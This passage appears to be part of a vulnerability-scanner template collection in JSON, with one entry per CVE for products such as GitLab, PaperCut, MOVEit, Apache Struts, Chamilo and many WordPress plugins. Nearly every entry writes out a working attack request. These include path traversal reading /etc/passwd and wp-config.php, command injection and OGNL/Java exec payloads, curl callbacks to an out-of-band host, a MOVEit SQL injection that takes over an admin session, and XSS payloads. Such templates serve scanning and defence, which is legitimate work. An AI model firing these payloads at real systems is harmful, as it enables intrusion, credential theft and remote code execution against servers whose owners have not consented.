/{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nX-CSRF-Token: {{x-csrf-token}}\nContent-Type: multipart/form-data; boundary=0ce2a9fbe06b6da89c138a35a1765ed6\n\n--0ce2a9fbe06b6da89c138a35a1765ed6\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}\"\n\n{{randstr}}\n--0ce2a9fbe06b6da89c138a35a1765ed6--\n","GET /{{data}}-1/{{data}}-2/{{data}}-3/{{data}}-4/{{data}}-5/{{data}}-6/{{data}}-7/{{data}}-8/{{data}}-9/{{data}}-10/{{data}}-11/CVE-2023-2825/uploads/{{upload-hash}}/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"cookie-reuse":true,"host-redirects":true,"matchers-condition":"and","matchers":[{"type":"word","words":["726f6f743a78"],"encoding":"hex"},{"type":"word","part":"header","words":["application/octet-stream","etc%2Fpasswd"],"condition":"and"}],"extractors":[{"type":"regex","name":"token_1","group":1,"regex":["name=\"authenticity_token\" value=\"([A-Za-z0-9_-]+)\""],"internal":true,"part":"body"},{"type":"regex","name":"token_2","group":1,"regex":["name=\"csrf\\-token\" content=\"([A-Z_0-9a-z-]+)\""],"internal":true,"part":"body"},{"type":"regex","name":"parent_id","group":1,"regex":["href=\"\\/groups\\/new\\?parent_id=([0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"namespace_id","group":1,"regex":["ref=\"\\/projects\\/new\\?namespace_id=([0-9]+)"],"internal":true,"part":"body"},{"type":"regex","name":"x-csrf-token","group":1,"regex":["const headers = \\{\"X\\-CSRF\\-Token\":\"([a-zA-Z-0-9_]+)\""],"internal":true,"part":"body"},{"type":"regex","name":"upload-hash","group":1,"regex":["\"url\":\"\\/uploads\\/([0-9a-z]+)\\/"],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-1496","info":{"name":"Imgproxy < 3.14.0 - Cross-site Scripting (XSS)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/unsafe/plain/https://cve-2023-1496.s3.amazonaws.com/imgproxy_xss.svg"],"matchers":[{"type":"dsl","dsl":["contains(body, 'PC9zdmc+#test')","status_code == 200"],"condition":"and"}],"extractors":[{"type":"dsl","dsl":["content_security_policy"]}]}]},{"id":"CVE-2023-34960","info":{"name":"Chamilo Command Injection","severity":"high"},"requests":[{"raw":["POST /main/webservices/additional_webservices.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: text/xml; charset=utf-8\n\n\nfile_datafile_name`{}`.pptx'|\" |cat /etc/passwd||a #service_ppt2lp_size720x540\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"],"part":"body"},{"type":"word","part":"header","words":["text/xml"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-27482","info":{"name":"Home Assistant Supervisor - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1\nHost: {{Hostname}}\n","GET /api/hassio/app/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 1\nHost: {{Hostname}}\n","GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 2\nHost: {{Hostname}}\nX-Hass-Is-Admin:1\n"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["\"slug\":","\"name\":","\"ip_address\""],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-2732","info":{"name":"MStore API <= 3.9.2 - Authentication Bypass","severity":"critical"},"requests":[{"raw":["GET /wp-json/wp/v2/add-listing?id=1 HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n","GET /wp-admin/profile.php HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["email-description","Username"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-39143","info":{"name":"PaperCut < 22.1.3 - Path Traversal","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/custom-report-example/..\\..\\..\\deployment\\sharp\\icons\\home-app.png"],"matchers":[{"type":"dsl","dsl":["content_length == 1655","status_code == 200","contains(to_lower(content_type), \"image/png\")","contains(hex_encode(body), \"89504e470d0a1a0a\")"],"condition":"and"}]}]},{"id":"CVE-2023-20888","info":{"name":"VMware Aria Operations for Networks - Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /api/auth/login HTTP/2\nHost: {{Hostname}}\nContent-Type: application/json;charset=UTF-8\nX-Vrni-Csrf-Token: null\n\n{\"username\":\"{{username}}\",\"password\":\"{{password}}\",\"domain\":\"localdomain\"}\n","POST /api/events/push-notifications HTTP/2\nHost: {{Hostname}}\nX-Vrni-Csrf-Token: {{csrf}}\nContent-Type: application/json\n\n{\"endOffset\": \"{{ generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\") }} \"}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"status","status":[500]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["csrfToken\":\"([a-z0-9A-Z/+=]+)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-0297","info":{"name":"PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)","severity":"critical"},"requests":[{"raw":["GET /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\n","POST /flash/addcrypted2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\njk=pyimport+os%3Bos.system%28%22{{cmd}}%22%29%3Bf%3Dfunction+f2%28%29%7B%7D%3B&packages=YyVIbzmZ&crypted=ZbIlxWYe&passwords=oJFFUtTw\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_1","words":["JDownloader"]},{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2023-2252","info":{"name":"Directorist < 7.5.4 - Local File Inclusion","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-1671","info":{"name":"Sophos Web Appliance - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /index.php?c=blocked&action=continue HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nargs_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64(\"\\';curl http://{{interactsh-url}} #\")}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2023-24735","info":{"name":"PMB 7.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/pmb/opac_css/pmb.php?url=https://oast.me&hash={{md5('https://oast.me')}}"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.me\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2023-24367","info":{"name":"Temenos T24 R20 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsps/genrequest.jsp?routineName=\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Processing..."],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35082","info":{"name":"MobileIron Core - Remote Unauthenticated API Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/mifs/asfV3/api/v2/admins/users"],"max-size":100,"matchers":[{"type":"dsl","dsl":["contains_all(body, 'results','userId','name')","contains(header, 'application/json')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-27350","info":{"name":"PaperCut - Unauthenticated Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /app?service=page/SetupCompleted HTTP/1.1\nHost: {{Hostname}}\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FSetupCompleted%2F%24Form&sp=S0&Form0=%24Hidden%2CanalyticsEnabled%2C%24Submit&%24Hidden=true&%24Submit=Login\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print-and-device.script.enabled&doQuickFind=Go\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=Y&%24Submit=Update\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2FquickFindForm&sp=S0&Form0=%24TextField%2CdoQuickFind%2Cclear&%24TextField=print.script.sandboxed&doQuickFind=Go\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FConfigEditor%2F%24Form&sp=S1&Form1=%24TextField%240%2C%24Submit%2C%24Submit%240&%24TextField%240=N&%24Submit=Update\n","GET /app?service=page/PrinterList HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=page%2FPrinterList\n","POST /app?service=direct/1/PrinterList/selectPrinter&sp={{printerID}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterList%2FselectPrinter&sp={{printerID}}\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterDetails%2FprinterOptionsTab.tab&sp=4\n","POST /app HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nservice=direct%2F1%2FPrinterDetails%2F%24PrinterDetailsScript.%24Form&sp=S0&Form0=printerId%2CenablePrintScript%2CscriptBody%2C%24Submit%2C%24Submit%240%2C%24Submit%241&printerId={{printerID}}&enablePrintScript=on&scriptBody=function+printJobHook%28inputs%2C+actions%29+%7B%7D%0D%0Ajava.lang.Runtime.getRuntime%28%29.exec%28%27{{cmd}}%27%29%3B&%24Submit%241=Apply\n"],"cookie-reuse":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Avanceret kontering"]}],"extractors":[{"type":"regex","name":"printerID","group":1,"regex":["erList\\/selectPrinterCost&sp=([a-z0-9]+)\">"],"internal":true,"part":"body"}]}]},{"id":"CVE-2023-2272","info":{"name":"Tiempo.com <= 0.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","POST /wp-admin/admin.php?page=tiempocom%2Fapp%2Fadmin.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\npage=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"\")","contains(body_2, \"Tiempo\")"],"condition":"and"}]}]},{"id":"CVE-2023-34362","info":{"name":"MOVEit Transfer - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nCookie: siLockLongTermInstID=0\n","POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1\nHost: {{Hostname}}\nAx-silock-transaction: folder_add_by_path\nX-siLock-Transaction: session_setvars\nX-siLock-SessVar0: MyUsername: Guest\nX-siLock-SessVar1: MyPkgAccessCode: 123\nX-siLock-SessVar2: MyGuestEmailAddr: my_guest_email@example.com\nCookie: siLockLongTermInstID=0\n","POST /guestaccess.aspx HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nCookie: siLockLongTermInstID=0\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nArg06=123\n","@Host: https://checkip.amazonaws.com\nGET / HTTP/1.1\nHost: checkip.amazonaws.com\n","POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nAx-silock-transaction: folder_add_by_path\nX-siLock-Transaction: session_setvars\nX-siLock-SessVar0: MyPkgID: 0\nX-siLock-SessVar1: MyPkgSelfProvisionedRecips: SQL Injection'); INSERT INTO activesessions (SessionID) values ('{{sessioncookie}}');UPDATE activesessions SET Username=(select Username from users order by permission desc limit 1) WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LoginName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET RealName='test@test.com' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET InstId='1234' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET IpAddress='{{ips}}' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET LastTouch='2099-06-10 09:30:00' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET DMZInterface='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET Timeout='60' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET ResilNode='10' WHERE SessionID='{{sessioncookie}}';UPDATE activesessions SET AcctReady='1' WHERE SessionID='{{sessioncookie}}'; -- asdf\nCookie: siLockLongTermInstID=0\nContent-Length: 0\n","POST /guestaccess.aspx HTTP/1.1\nHost: {{Hostname}}\nCookie: siLockLongTermInstID=0\nContent-Type: application/x-www-form-urlencoded\n\nCsrfToken={{csrf}}&transaction=secmsgpost&Arg01=email_subject&Arg04=email_body&Arg06=123&Arg05=send&Arg08=email%40example.com&Arg09=attachment_list\n","POST /api/v1/auth/token HTTP/1.1\nHost: {{Hostname}}\nUser-Agent: python-requests/2.26.0\nAccept-Encoding: gzip, deflate\nCookie: ASP.NET_SessionId={{sessioncookie}}\nContent-Type: application/x-www-form-urlencoded\n\ngrant_type=session&username=x&password=x\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body_7","words":["{\"access_token\":"]},{"type":"word","part":"header_7","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"ips","regex":["\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\b"],"internal":true},{"type":"regex","name":"csrf","group":1,"regex":["name=\"csrftoken\" value=\"(\\w+)\">"],"internal":true,"part":"body"},{"type":"regex","name":"access_token","group":1,"regex":["\"access_token\":\"([^\"]+)\""],"part":"body"}]}]},{"id":"CVE-2023-2023","info":{"name":"Custom 404 Pro < 3.7.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=c4p-main&s={{randstr}}%22%20style=animation-name:rotation%20onanimationstart=alert(document.domain)// HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"onanimationstart=alert(document.domain)//\")","contains(body_2, \"Custom 404 Pro\")"],"condition":"and"}]}]},{"id":"CVE-2023-23492","info":{"name":"Login with Phone Number - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","message\":\"Update password"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-23752","info":{"name":"Joomla! Webservice - Password Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/index.php/v1/config/application?public=true","{{BaseURL}}/api/v1/config/application?public=true"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"links\":","\"attributes\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json","application/vnd.api+json"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2023-35078","info":{"name":"Ivanti Endpoint Manager Mobile (EPMM) - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/mifs/aad/api/v2/admins/users"],"max-size":100,"matchers":[{"type":"dsl","dsl":["contains_all(body, 'results','userId','name')","contains(header, 'application/json')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2023-33338","info":{"name":"Old Age Home Management System v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /admin/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=vaday%27+or+1%3D1%23&password=password&submit=\n","GET /admin/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"Change Password\")","contains(body_2, \"Old Age Home Management System|| Dashboard\")"],"condition":"and"}]}]},{"id":"CVE-2023-3479","info":{"name":"Hestiacp <= 1.7.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/templates/pages/debug_panel.php?id={{randstr}}\">"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["debug-panel",""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2248","info":{"name":"Apache Struts - Multiple Open Redirection Vulnerabilities","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.action?redirect:http://www.interact.sh/"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2013-7091","info":{"name":"Zimbra Collaboration Server 7.2.2/8.0.2 Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00","{{BaseURL}}/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../etc/passwd%00"],"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"word","words":["zimbra_server_hostname","zimbra_ldap_userdn","zimbra_ldap_password","ldap_postfix_password","ldap_amavis_password","ldap_nginx_password","mysql_root_password"],"condition":"or"},{"type":"regex","regex":["root=.*:0:0"]}]}]},{"id":"CVE-2013-7240","info":{"name":"WordPress Plugin Advanced Dewplayer 1.2 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/advanced-dewplayer/admin-panel/download-file.php?dew_file=../../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD","DB_HOST","The base configurations of the WordPress"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2287","info":{"name":"WordPress Plugin Uploader 1.0.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/uploader/views/notify.php?notify=unnotif&blog=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-4117","info":{"name":"WordPress Plugin Category Grid View Gallery 2.3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/category-grid-view-gallery/includes/CatGridPost.php?ID=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-5528","info":{"name":"Cisco Unified Communications Manager 7/8/9 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2251","info":{"name":"Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution","severity":"critical"},"requests":[{"raw":["GET /index.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /login.action?{{params}}:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","GET /index.action?{{params}}%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n"],"payloads":{"params":["redirect","action","redirectAction"]},"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"]},{"type":"status","status":[200,400],"condition":"or"}]}]},{"id":"CVE-2013-1965","info":{"name":"Apache Struts2 S2-012 RCE","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/user.action"],"body":"name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D\n","headers":{"Content-Type":"application/x-www-form-urlencoded"},"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-5979","info":{"name":"Xibo 1.2.2/1.4.1 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355714673828"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-3526","info":{"name":"WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=%3Cscript%3Ealert(1)%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-4625","info":{"name":"WordPress Plugin Duplicator < 0.4.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-2621","info":{"name":"Telaen => v1.3.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/telaen/redir.php?https://interact.sh","{{BaseURL}}/redir.php?https://interact.sh"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2013-6281","info":{"name":"WordPress Spreadsheet - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["page: ''","dhx_rel_path"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-3827","info":{"name":"Javafaces LFI","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/costModule/faces/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/costModule/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/faces/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/secureader/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/secureader/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/myaccount/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/myaccount/javax.faces.resource./WEB-INF/web.xml.jsf?ln=..","{{BaseURL}}/SupportPortlet/faces/javax.faces.resource/web.xml?loc=../WEB-INF","{{BaseURL}}/SupportPortlet/faces/javax.faces.resource./WEB-INF/web.xml.jsf?ln=.."],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2013-7285","info":{"name":"XStream <1.4.6/1.4.10 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n foo\n \n java.lang.Comparable\n \n \n \n curl\n http://{{interactsh-url}}\n \n \n start\n \n \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]}]}]},{"id":"CVE-2021-32172","info":{"name":"Maian Cart <=3.8 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\n","POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, 